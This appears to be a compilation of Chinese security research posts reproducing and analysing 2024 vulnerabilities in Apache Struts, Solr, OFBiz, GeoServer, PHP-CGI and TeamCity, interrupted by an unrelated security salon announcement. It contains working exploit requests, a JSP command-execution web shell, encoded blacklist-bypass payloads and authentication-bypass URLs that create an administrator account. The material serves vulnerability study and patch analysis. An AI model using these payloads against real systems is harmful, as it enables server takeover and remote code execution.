Apache Struts 的文件上传逻辑存在缺陷，如果应用程序使用了 FileUploadInterceptor，在进行文件上传时，攻击者可以操纵文件上传参数来启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。

1. 前言

官方公告:   
https://cwiki.apache.org/confluence/display/WW/S2-067

漏洞描述：
Apache Struts 的文件上传逻辑存在缺陷，如果应用程序使用了 FileUploadInterceptor，在进行文件上传时，攻击者可以操纵文件上传参数来启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。

影响版本：
Apache Struts：           
    2.0.0 - 2.3.37（EOL）
    2.5.0 - 2.5.33 
    6.0.0 - 6.3.0.2

2. 环境搭建

<dependency>      <groupId>org.apache.struts</groupId>      <artifactId>struts2-core</artifactId>      <version>6.3.0.2</version>    </dependency>

3. 漏洞复现

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求包：

POST /upload.action HTTP/1.1            Host: 127.0.0.1:8888            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2            Accept-Encoding: gzip, deflate, br            Content-Type: multipart/form-data; boundary=---------------------------3701280597827013112747531662            Content-Length: 438            Origin: http://127.0.0.1:8888            Connection: keep-alive            Referer: http://127.0.0.1:8888/upload.action            Cookie: JSESSIONID=4209098B9C419F73225118698688A603            Upgrade-Insecure-Requests: 1            Priority: u=0, i                   -----------------------------3701280597827013112747531662            Content-Disposition: form-data; name="Myfile"; filename="S2-067.txt"            Content-Type: text/plain 
<%Runtime.getRuntime().exec(request.getParameter("i"));%>            -----------------------------3701280597827013112747531662            Content-Disposition: form-data; name="top.MyfileFileName";             Content-Type: text/plain           ../exec.jsp            -----------------------------3701280597827013112747531662--

文件保存到了/uploads目录下，且文件名保存为构造传入的exec.jsp。

4. 漏洞分析

但是在参数绑定之前，会对参数进行合规校验，其中有条正则如下，要求(\[\d+])前面还需要存在一些其他字符，所以[0]和[0].top都无法通过参数合规性判断，所以只能使用top来获取栈顶对象。           

\w+((\.\w+)|(\[\d+])|(\(\d+\))|(\['(\w-?|[\u4e00-\u9fa5]-?)+'])|(\('(\w-?|[\u4e00-\u9fa5]-?)+'\)))*

前面部分的参数处理就不细说了，再看下 S66 那篇分析就可以了。这里就只看一下如何处理的top节点。           

从 ParametersInterceptor.setParameters() 看起，对 OgnlValueStack 对象进行参数绑定。           
可以看到，TreeMap 对象中，top.MyfileFileName 参数是排在最后一位的，这时前面三个参数都已经绑定完成了，这时 MyfileFileName 参数的是S2-067.txt。

跟进到 OgnlUtil.compileAndExecute()，对 top.MyfileFileName 进行表达式解析并执行。（解析为链式节点ASTChain）

跟进到 ASTChain.setValueBody()，遍历处理子节点。

先获取 top 节点的值，到 CompoundRootAccessor.getProperty() 中有这样一段 if 判断，如果子节点为 top，root 不为空，就返回栈顶对象，即 UploadAction。

接着就是为 UploadAction 对象的 MyfileFileName 属性设置值，ObjectPropertyAccessor.setPossibleProperty() 中尝试去调用 setter 方法。

ConcurrentHashMap.get()，从缓存中先获取到 UploadAction 的所有 setter 方法，再从中获取 setMyfileFileName() 并返回。

接着调用 setMyfileFileName()。

myfieFileName 被覆盖为../exec.jsp，后续解析路径穿越符，于是上传保存的文件路径就是/uploads/exec.jsp。

5. 补丁分析

不过在执行 ActionFileUploadInterceptor 拦截器前，先执行了 FileUploadInterceptor，所以请求中构造的 top.MyfileFileName 还是被合并到了参数中。

在参数绑定过程中仍然会覆盖 MyfileFileName 的值。

参考链接：https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/    

阅读原文

跳转微信打开

Apache Solr 中存在不正确的身份验证漏洞。使用 PKIAuthenticationPlugin 的 Solr 实例容易受到身份验证绕过的影响。

1. 前言

官方公告：            
https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
https://issues.apache.org/jira/browse/SOLR-17417

漏洞描述：
Apache Solr 中存在不正确的身份验证漏洞。使用 PKIAuthenticationPlugin 的 Solr 实例（在使用 Solr 身份验证时默认启用）容易受到身份验证绕过的影响。任何 Solr API URL 路径末尾的假结尾将允许请求跳过身份验证，同时保持与原始 URL 路径的 API 契约。这个假结尾看起来像一个不受保护的 API 路径，但它在身份验证之后但在 API 路由之前在内部被剥离。

影响版本：
Apache Solr 5.3.0 ~ 8.11.4 之前版本
Apache Solr 9.0.0 ~ 9.7.0 之前版本

2. 环境搭建

官方教程文档：https://solr.apache.org/guide/8_11/

本次复现使用 Apahce solr 8.11.3，jdk 11.0.16。

在bin目录下运行以下命令即可启动或停止 solr，-c是以 SolrCloud 模式启动solr，-p指定启动端口：

solr -p 8983      #启动            solr stop -p 8983       #停止            solr -c -p 8983     #以 SolrCloud 模式启动            solr -c -p 8983 -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"       #启动并开启远程调试

浏览器访问 http://localhost:8983/solr/ ，solr 成功运行。

要还原漏洞环境，我们需要自己配置身份验证和授权。Solr 所有身份验证、授权和审计日志插件等相关配置（包括用户和权限规则）都存储在 security.json 文件中，在 SolrCloud 模式中需要将 security.json 上传至 ZooKeeper。如果本地没有搭建 ZooKeeper 服务，可以使用 Solr 自带的嵌入式 ZooKeeper，默认端口为 9983。

{            "authentication":{               "blockUnknown": true,               "class":"solr.BasicAuthPlugin",               "credentials":{"solr":"IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c="},            },            "authorization":{               "class":"solr.RuleBasedAuthorizationPlugin",               "permissions":[{"name":"security-edit",                  "role":"admin"}],               "user-role":{"solr":"admin"}                }            }

先以 SolrCloud 模式启动 Solr，执行下面的命令将自定义的 security.json 文件上传到 ZooKeeper。           

solr zk cp -z localhost:9983 file:security.json zk:/security.json

这样漏洞环境就搭好了。

3. 漏洞复现

在未登录的情况下访问/solr/admin/info/properties会返回401。

4. 漏洞分析

5. 补丁分析

阅读原文

跳转微信打开

CVE-2024-45195：通过目录遍历可以绕过授权验证实现命令执行。

CVE-2024-45507：由于Apache OFBiz在从 Groovy 加载文件时对URL 的验证不足，导致远程攻击者可以通过SSRF的方式向任意系统发起请求。

1. 环境搭建   

下载地址：https://archive.apache.org/dist/ofbiz/

解压后用 IDEA 打开，点击右侧栏 Gradle 中的 build 之后会生成一个 biuld 目录，该目录下面会生成一个 ofbiz.jar，Run/Debug Configurations 中会自动生成一个 Gradle 配置项；

新增 JAR Application，添加指定 ofbiz.jar 路径。

启动这个jar。

能成功访问 https://localhost:8443/webtools 就说明环境搭好了。

2. CVE-2024-45195  

2-1. 前言  

官方公告：

https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy

漏洞描述：

影响版本：

Apache OFBiz < 18.12.16   

2-2. 漏洞复现  

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">    <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">        <record name="rceentry" limit="many">            <field name="jsp" type="String" length="60" position="0"></field>        </record>    </data-file></data-files>

<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

python -m http.server 8888

请求包：

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1              Host: 127.0.0.1:8443              Cookie: OFBiz.Visitor=10100              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8              Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2              Accept-Encoding: gzip, deflate, br              Upgrade-Insecure-Requests: 1              Sec-Fetch-Dest: document              Sec-Fetch-Mode: navigate              Sec-Fetch-Site: none              Sec-Fetch-User: ?1              Priority: u=0, i              Te: trailers              Connection: keep-alive              Content-Type: application/x-www-form-urlencoded              Content-Length: 241              
DATAFILE_LOCATION=http://127.0.0.1:8888/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8888/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

访问 https://127.0.0.1:8443/accounting/index.jsp?cmd=calc，成功执行命令。

2-3. 漏洞分析  

权限绕过的原理和之前一样，通过不需要鉴权的路由来绕过。触发命令执行的文件不同，之前利用的是 ProgramExport.groovy，现在利用 ViewDataFile.groovy 。

解读一下 ViewDataFile.groovy 的作用：

1.从请求中获取多个参数的值；

2. DATAFILE_IS_URL 和 DEFINITION_IS_URL 的值表示 DATAFILE_LOCATION 和 DEFINITION_LOCATION 是否为一个 URL，为 ture 则直接创建URL对象，为 false 则将文件路径转换为 URL。

3. 从 DEFINITION_LOCATION 的 URL 地址获取文件中定义的数据文件的名称列表。满足 dataFileUrl && definitionUrl && definitionNames 为 true，则根据定义文件 DEFINITION_LOCATION 的内容和 DEFINITION_NAME 名称，从 DATAFILE_LOCATION 地址读取数据文件内容。

4. 将上面读取到的数据文件内容写入 DATAFILE_SAVE 指定的文件。

也就是说，该文件实现了一个数据读取和写入的功能，并且能解析 JSP 文件，也就是能通过写入JSP shell 来实现命令执行。

《OFBiz 的数据文件工具》‍

https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz%27s+Data+File+Tools

xml 文件中 data-file.name 表示数据文件名称（并非文件名），需与 POST 传入的 DEFINITION_NAME 的值一致，record.name 表示实体名称。field.name 表示实体字段的名称，也就是指向 DATAFILE_LOCATION 文件，读取数据文件后会使用该名称以键值对的形式保存。field.type 表示数据类型，field.length 表示字段的长度，需与实际数据长度一致，field.position 表示该字段开始读取的位置。

dataFileIsUrl 和definitionIsUrl 为true，表示文件地址为URL格式，所以 dataFileUrl 和 definitionUrl 分别为数据文件和定义文件的URL对象。

跟进 ModelDataFileReader.getModelDataFileReader()，要 new 一个 ModelDataFileReader 对象，在 createModelDataFiles() 中去读取并解析远程的xml文件，返回 ModelDataFileReader 对象，并从中获取数据文件名称。

接着跟进 DataFile.readFile()，同样调用了 ModelDataFileReader.getModelDataFileReader()，从中获取与 dataFileName 对应的 ModelDataFile 对象，包装成 DataFile 对象返回，其中包含了数据文件的结构信息。

然后调用 dataFile.readDataFile(fileUrl)，逐行读取远程数据文件的内容，以键值对的形式保存到 DataFile 对象的实体字段中。

最后就是调用 dataFile.writeDataFile(dataFileSave)，将 DataFile 对象中保存的数据文件内容写入到指定的文件中。

当从前端访问该 jsp 文件时，就会解析内容，实现命令执行。    

3. CVE-2024-45507  

3-1. 前言  

https://issues.apache.org/jira/browse/OFBIZ-13132

漏洞描述：

由于Apache OFBiz在从 Groovy 加载文件时对 URL 的验证不足，导致远程攻击者可以通过服务器端请求伪造的方式向任意系统发起请求，并可能导致远程代码执行，成功利用此漏洞可能允许攻击者完全控制受影响的系统，包括访问敏感数据、执行任意命令或进行进一步的网络攻击。

影响版本：

Apache OFBiz < 18.12.16

3-2. 漏洞复现

写一个屏幕定义文件 ssrfpoc.xml，value 设为一段 groovy 表达式来执行命令:

<?xml version="1.0" encoding="UTF-8"?><screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
    <screen name="StatsDecorator">        <section>            <actions>                <set field="headerItem" value="${groovy:throw new Exception('cmd /c start calc'.execute().text);}"/>                <entity-one entity-name="FinAccount" value-field="finAccount"/>            </actions>        </section>    </screen>
</screens>

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1Host: 127.0.0.1:8443Cookie: OFBiz.Visitor=10100User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 56
statsDecoratorLocation=http://127.0.0.1:8888/ssrfpoc.xml

3-3. 漏洞分析  

从远程地址获取到名为 StatsDecorator 的屏幕定义内容。

也是逐层解析标签，然后执行并解析this.valueExdr表达式。

跟进创建 groovy 脚本实例，绑定了上下文数据。

run() 执行该脚本，调用 ProcessGroovyMethods.execute() 执行系统命令。

4. 补丁分析  

参考链接：

阅读原文

跳转微信打开

由于不安全地将属性名称评估为 XPath 表达式，多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 (RCE)。

一、前言

官方公告：  
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv

https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w

二、环境搭建

源码下载：https://github.com/geoserver/geoserver/archive/refs/tags/2.23.5.zip            
war下载：https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.5/geoserver-2.23.5-war.zip/download

配置好 Tomcat 和 debug 。        

启动 Tomcat，访问http://127.0.0.1:8080/geoserver/web，可以看到自带的图层数据，环境搭建成功。

三、漏洞复现

使用 GetPropertyValue 进行复现，POC：

service=wfs&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'calc.exe')

或者：

POST /geoserver/wfs HTTP/1.1            Host: 127.0.0.1:8080            Content-Type: application/xml                                               <wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'valueReference='exec(java.lang.Runtime.getRuntime(),"calc.exe")'>  <wfs:Query typeNames='topp:states'/></wfs:GetPropertyValue>

四. 漏洞分析

https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html

跟进 findService() 方法，看到根据 id 和 version 选出了符合条件的 Service 对象。 

在 parseRequestKVP() 方法中，从 request 中获取了参数键值对，保存为 GetPropertyValueTypeImpl 对象。          

然后执行请求。

反射调用 getPropertyValue() 方法。           

跳到 DefaultWebFeatureService20.getPropertyValue()，实例化了一个 GetPropertyValue 对象，接着调用 GetPropertyValue.run()。           

跟进 FilterFactoryImpl.property()，实例化了一个 AttributeExpressionImpl 对象，将前端传入的 valueReference 参数值赋给了this.attPath。           

propertyName和propertyNameNoIndexes都为 AttributeExpressionImpl 对象，调用 evaluate() 评估属性描述符，也就是评估这个 XPath 表达式，符合漏洞描述中所说的。           

跟进，调用 PropertyAccessors.findPropertyAccessors()，遍历找到可以处理当前评估操作的 PropertyAccessor 对象，获取到 FeaturePropertyAccessorFactory，正是第二个漏洞公告中提到的利用方法。

然后调用 FeaturePropertyAccessorFactory.get()，传入this.attPath作为 XPath 表达式。this.attPath是前端传入的valueReference参数的值，也就是说这个位置的 XPath 表达式可控。

跟进，向context中注册了命名空间的名称及uri，然后迭代 XPath 指针。           

编译表达式，调用 compute() 进行计算。           

将this.args的计算转换后结果保存到parameters中，包含一个 Runtime对象和calc.exe字符串； 

然后获取到exec()方法，调用该方法执行命令。

https://xz.aliyun.com/t/14991

https://y4tacker.github.io/2024/07/03/year/2024/7/%E6%B5%85%E6%9E%90GeoServer-property-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2024-36401/

https://mp.weixin.qq.com/s?__biz=Mzg2MTc1NDAxMA==&mid=2247484076&idx=1&sn=4064cb6a006f5cc454b7fb982e8ab9c6

阅读原文

跳转微信打开

通过目录遍历可以绕过授权验证实现命令执行。

1.前言

CVE-2024-32113: 
        Apache OfBiz < 18.12.13
CVE-2024-36104:  
        Apache OfBiz < 18.12.14

2. 环境搭建

3. 漏洞复现

（详情可回顾：Apache OFBiz 命令执行漏洞分析）

直接构造 18.12.14 及之前版本通杀的路径 payload，不需要进行目录遍历。

/webtools/control/ListTimezones/ProgramExport?groovyProgram='calc.exe'.execute()       

所以 18.12.13 和 18.12.14 版本的 payload 需要对 groovyProgram 参数内容进行编码传入来绕过黑名单校验。

/webtools/control/ListSetCompanies/ProgramExport            
groovyProgram=\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

uri ListTimezones的 auth 改为了 true，不能进行利用了，不过其他的 uri 仍然可以利用。

4. 漏洞分析

接下来以 18.12.12 版本为例分析看看，如果请求的路径为/webtools/control/ListTimezones/./ProgramExport，在 ControlFilter.doFilter() 中，getRequestURI() 首先获取到的是/control/ListTimezones/./ProgramExport，经过规范化后去除了其中的.，变成了/control/ListTimezones/ProgramExport。

所以特殊符号在这一步都会被过滤掉，18.12.13 以及 18.12.14 版本的补丁都在围绕这一块代码进行修改补充，不过这并不是关键所在。

rmaps 为ListSetCompanies对应的 requestMap，其中 securityAuth 属性为 false。 

获取传入的 groovyProgram 参数值，从 \framework\webtools\webapp\webtools\WEB-INF\controller.xml 中找到 ProgramExport 的视图信息定义在 component://webtools/widget/EntityScreens.xml#ProgramExport 文件中。

获取到 screen 类型的视图处理器。

一直跟进，从 EntityScreens.xml 中获取到了ProgramExport对应的脚本文件位置 component://webtools/groovyScripts/entity/ProgramExport.groovy ，当遍历到此文件时跟进。

检测到.groovy后缀，进入 ProgramExport.groovy 文件，执行 groovyProgram 参数的命令。 

5. 补丁分析

18.12.13版本： 
主要体现在将ListTimezones的 auth 改为 true，黑名单里增加execute关键字，ControlFilter.doFilter() 中校验了规范化前后的 url 是否一致，以此来判断 url 是否含有特殊字符。

18.12.14版本：
网上使用的 payload 是将.换为%2e或;来绕过 18.12.13 版本的修复代码，于是官方在 18.12.14 版本的 ControlFilter.doFilter() 中添加过滤了%2e和;，不过仍然没有修复到问题关键。

阅读原文

跳转微信打开

攻防演练场景下的漏洞挖掘与治理 | 安全范儿沙龙开启

6.21

安全范儿

距离第14期“安全范儿”技术沙龙还有1天

Hi，安全范儿沙龙！-漏洞挖掘与治理篇

发现安全漏洞并进行高效治理是企业安全建设中的重要环节，本期沙龙嘉宾将结合真实情景，分享漏洞挖掘思路与技巧以及不同视角下如何开展高效治理。

错过本次沙龙，你可能会错过

抖音电商特有风险介绍及治理

字节内部漏洞治理流程和经验

HW筹备之蓝军攻击技法

云上多场景容器逃逸/接管

6.21

安全范儿

SECURITY

硬核议题，一睹为快

01

抖音电商的漏洞发现与治理实践

分享人：张义  抖音电商安全蓝军

｜主要从事抖音电商业务线的漏洞攻防工作

本次议题将与大家深入探讨抖音电商业务各个业务场景中存在的漏洞风险，并公开分享电商安全团队是如何对电商业务包括账号接管、RCE、薅羊毛、零元购在内的多个真实漏洞风险进行发现和治理，以应对不断演变的安全挑战。

02

安全治理视角下SRC漏洞的高效挖掘

分享人：杨俊才 字节跳动无恒实验室安全工程师

｜多年甲方安全建设经验，专注于风险治理

本次议题将结合字节跳动内部漏洞治理经验，从甲方安全风险治理、业务的维度，与白帽子共同探讨探索SRC如何高效挖洞，哪些是企业更加重视的漏洞，哪些是企业安全的薄弱点。

03

挂图作战

分享人：樊一博 长亭科技华北技术负责人

｜从事红蓝对抗/代码审计/应急响应研究工作，多次参与重大攻防演练活动并获得优异成绩

国家级红蓝演习行动日益重要，本议题将站在攻击者视角讲解HW前期蓝军准备思路、常见入口攻击手法、钓鱼思路及案例、行业攻击技战法及真实案例。

04

云服务常见漏洞分享 

分享人：target1a  高级安全工程师、ByteSRC核心白帽

｜多个容器逃逸、数据库组件逃逸、数据库集群接管的漏洞挖掘者，单漏洞赏金大于5万元

target1a聚焦在“云服务”独特的攻击面和潜在的安全问题。分享不同云服务模型下可能出现的攻击面及案例，例如：从数据库租户环境逃逸并实现云服务基础设施的控制、从而间接接管所有云租户的数据库。希望从实际案例出发帮助企业有效的进行云服务攻击面管理和风险监控。 

6月21日 14:00 火山直播

第14期字节跳动“安全范儿”技术沙龙

不见不散！

扫码预约线上直播，参与活动抽奖

转发本文至朋友圈即可参与抽奖

关于安全范儿沙龙

由字节跳动安全与风控团队发起，用沙龙形式搭建行业桥梁，与安全从业人员进行技术交流、实践分享。帮助安全人才成长，共同完善生态，促进安全行业的有序运营和蓬勃发展。拓宽安全技术视野，亦是丰富美好生活。

Empower security, Enrich life

阅读原文

跳转微信打开

关于PHP CGI Windows平台远程代码执行漏洞（CVE-2024-4577）简要说明

漏洞信息

漏洞影响版本如下（XAMPP默认安装的配置下可以直接利用）：

        PHP 8.3 < 8.3.8              
        PHP 8.2 < 8.2.20              
        PHP 8.1 < 8.1.29

简要说明

CVE-2012-1823

简要概括就是，当将PHP的环境设为CGI模式下运行时，请求参数部分就会带入作为php-cgi.exe的参数，因此可以通过-d来设定参数allow_url_include、auto_prepend_file（勾起N年前学文件包含的回忆），将完整的参数信息（需要URL编码）带入到请求参数中，发送请求达到代码执行的目的。    

CVE-2024-4577

补丁分析

根据PHP漏洞修复的Commit提交信息来看，在cgi_main.c文件中，原有的逻辑新增了对Windows环境的单独逻辑判断，并且其中对请求参数使用了WideCharToMultiByte函数，即宽字节的转换。

因此结合已知的漏洞信息，确认此处是编码问题导致的。也就表示我们需要绕过的逻辑是if(*p == '-')，即请求参数第一个字符不能为-。

结合补丁信息我们知道在带入参数拼接前，宽字节会被转换。所以，以简体中文的Windows版本（在Windows中使用Page 936表示GBK编码）为例，对应的编码表信息，我们可以在该链接中找到：https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt    

通过搜索我们得知0x00ad可以被解码为0x002d也就是上文中提到的-符号。

漏洞复现

基于CVE-2012-1823将请求参数中的-替换为%ad，带入尝试发现漏洞成功复现，也就验证了我们之前的分析。    

总结

最后引用猪猪侠的话：知识面决定攻击面。

PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析：https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html    

阅读原文

跳转微信打开

攻击者可以精心设计一个 URL，以避免所有身份验证检查，从而允许未经身份验证的攻击者直接访问需要身份验证的端点。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器，并泄露服务器上有限数量的敏感信息等。

1. 前言

1-1. 简介

TeamCity是一款由JetBrains开发的持续集成和持续交付（CI/CD）服务器。它提供了一个强大的平台，用于自动化构建、测试和部署软件项目。TeamCity支持多种编程语言和开发环境，并提供了丰富的功能和工具，帮助开发团队构建和交付高质量的软件。

本文简单分析了三个身份验证绕过的漏洞CVE-2024-23917、CVE-2024-27198、CVE-2024-27199。

1-2. 环境搭建

下载地址：https://blog.jetbrains.com/teamcity/2024/02/critical-security-issue-affecting-teamcity-on-premises-cve-2024-23917/

下载对应版本的 TeamCity，按引导进行安装。

创建管理员账号。    

2. CVE-2024-23917

https://blog.jetbrains.com/teamcity/2024/02/critical-security-issue-affecting-teamcity-on-premises-cve-2024-23917/

漏洞描述

该漏洞会使未经身份验证的攻击者能够通过 HTTP(S) 访问 TeamCity 服务器来绕过身份验证检查并获得对该 TeamCity 服务器的管理控制。

影响版本

2023.11.2 及之前版本    

2-1. 漏洞复现

构造 URL 为/app/rest/server;.jsp?jsp_precompile=1，能绕过身份验证，成功获取到目标内容。

2-2. 漏洞分析

jetbrains.buildServer.server.rest.APIController 中声明了/app/rest/路径下的"/builds//statusIcon", "/builds/aggregated//statusIcon", "/server/version", "/version", "/apiVersion", "/swagger**", "/server/nodes"这些不需要身份认证。

声明了 MVC 用到的拦截器，其中 AuthorizationInterceptorImpl 是进行身份校验的拦截器。

进入 RequestInterceptors 拦截器，会进行一个 if 判断，若判断为 false 则会进入 else 遍历它下面的其他拦截器，进而调用到 AuthorizationInterceptorImpl。    

若要 if 判断为真，则this.requestPreHandlingAllowed(request)需返回 false。

看一下 requestPreHandlingAllowed() 方法，if 中调用了 WebUtil.isJspPrecompilationRequest() ，返回结果是由 URI 决定的。从请求中获取 URI ，若是以.jsp或.jspf结尾的，并且传入的jsp_precompile参数不为 null，就返回 true，进而 requestPreHandlingAllowed() 返回 false。

或者进入 else 分支，满足请求路径与this.myPreHandlingDisabled中的相匹配，也会返回 false，不过这里访问路径有限制，不如 if 条件的选择自由。

 requestPreHandlingAllowed() 返回 false，不用遍历子拦截器，也就避免了进行身份验证。    

TeamCity 提供 REST API，用于集成外部应用程序并创建与 TeamCity 服务器的脚本交互。它允许通过 URL 路径访问资源（实体）。

访问/app/rest/swagger.json可以获取到端点列表与格式，以及功能描述。

TeamCity REST API中有较为详细的介绍，/app/rest/users用来进行用户相关的操作，这是需要进行身份验证才能访问的API，创建一个用户实体，需要的参数如下：    

构造请求包，满足 URI 以.jsp或.jspf结尾，并且传入jsp_precompile参数不为 null 两个条件，创建一个用户名为user1，密码为user1user1，角色权限为SYSTEM_ADMIN的用户。

{                  "username":"user1",                  "password":"user1user1",                  "email": "123456789@qq.com",                  "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}              }

开启调试，在 RequestInterceptors.preHandle() 断点开始，    

跟进 requestPreHandlingAllowed() -> WebUtil.isJspPrecompilationRequest()，此时获取到的 URI 是/app/rest/user;.jsp，jsp_precompile参数为1，满足条件，返回 true。

于是，结束 RequestInterceptors 拦截器的检查，其他拦截器不会进行拦截。    

后续在路由处理中，由于 Tomcat的特性，会忽略掉;.jsp，解析到/app/rest/users对应的功能代码进行创建用户。

简单看一下 AuthorizationInterceptorImpl 的认证过程吧，进入该拦截器后，会判断当前是否有用户登录或者是否有 RememberMe 记录；

没有登录则调用isAuthenticationRequired()判断当前访问路径是否是this.myAuthorizationPaths中不需要身份验证的路径，不是就返回 false，后面进行拦截处理。    

补丁下载：https://download-cdn.jetbrains.com/teamcity/plugins/internal/fix_CVE_2024_23917.zip

在 2023.11.3 版本中，this.interceptorList中增加了一个 Proxy 拦截器，会对当前请求进行拦截，导致请求失败。

3. CVE-2024-27198

官方公告

2023.11.3及之前版本

3-1. 漏洞复现

直接访问/app/rest/server会跳转到登录页面；

构造 URL 为/hax?jsp=/app/rest/server;.jsp，即可绕过身份验证访问到目标内容。

3-2. 漏洞分析

PageNotFoundController 是继承 BaseController 的，返回到 BaseController.handleRequestInternal()，调用 updateViewIfRequestHasJspParameter() 方法；

满足了 if 中的三个条件，就会重新将视图设置为 jsp 参数的值。

整理一下走到这一步需要的条件：

•请求时传入 jsp 参数，参数值以 .jsp 结尾，且不含admin/字符串

此时视图名称变为了/app/rest/server;.jsp，jsp 参数是可控的，可以通过这种方法来访问任意需要身份验证的路径。

处理器执行完后再次进入拦截器校验，但是 AuthorizationInterceptorImpl 并没有重写 postHandle() 方法，所以不会进行拦截。    

后续会像 CVE-2024-23197 一样的过程解析/app/rest/server;.jsp，在 RequestInterceptors 中，这里没有传入jsp_precompile参数，所以if (!this.requestPreHandlingAllowed(var1))为 false，进入后面的代码；

或者同样在 URL 后面拼接传入&?jsp_precompile=1，这里就能直接返回 true 了。

继续看下面，此时__tc_requestStack值为2，所以不会再遍历this.myInterceptors，略过了 AuthorizationInterceptorImpl 的校验，RequestInterceptors.preHandle() 方法返回 true。

关于新增的 Proxy 拦截器，不知道其具体内容，这里也不会拦截。于是通过所有拦截器校验，返回 true。    

后续 Tomcat 会自动忽略掉;.jsp，就会解析返回/app/rest/server对应的内容。

4. CVE-2024-27199

2023.11.3及之前版本

4-1. 漏洞复现

/admin/diagnostic.jsp是一个需要身份验证才能访问的路径，直接请求会跳转到登录页面；

构造 URL 为/update/../admin/diagnostic.jsp，即可成功访问。    

能利用的不需要身份验证的路径有：

•/.well-known/acme-challenge/

能通过拼接绕过身份验证进行访问的路口有：

•/app/oauth/space/createBuild.html    

4-2. 漏洞分析

在 RequestInterceptors 拦截器中，和之前的逻辑一样，判断请求路径是否与this.myPreHandlingDisabled中的路径相匹配；

在遍历this.myMatchingPaths时，判断请求路径是否与已定义的路径相符，匹配到了其中的/update/**，返回 true，这些路径都是不需要身份验证的路径。    

于是 requestPreHandlingAllowed() 返回 false，不遍历 RequestInterceptors 的子拦截器，即不用进行身份验证。

在后续处理中，根据路径穿越符号，/update/../admin/diagnostic.jsp会处理为/admin/diagnostic.jsp，解析到视图/admin/diagnostic.html，输出对应内容。    

同理，this.myMatchingPaths中的其他含有通配符的路径也可以用于绕过身份验证。

•/update/tools/content/../../../admin/diagnostic.jsp

/app/agents/**不可用是因为获取到的处理器不是 NodeDiagnosticsController，视图返回的就不是/admin/diagnostic.jsp。

还有一处不需要身份验证的路径列表，就是this.myPathsNotRequiringAuthentication，当进入 AuthorizationInterceptorImpl 时会进行遍历匹配；

当请求/res/../admin/diagnostic.jsp时，会匹配到/res/**，从而顺利通过拦截器校验。    

同样，this.myPathsNotRequiringAuthentication其他含有通配符，且处理器为 NodeDiagnosticsController 的路径也能进行利用。

•/.well-known/acme-challenge/../../admin/diagnostic.jsp

补丁下载：

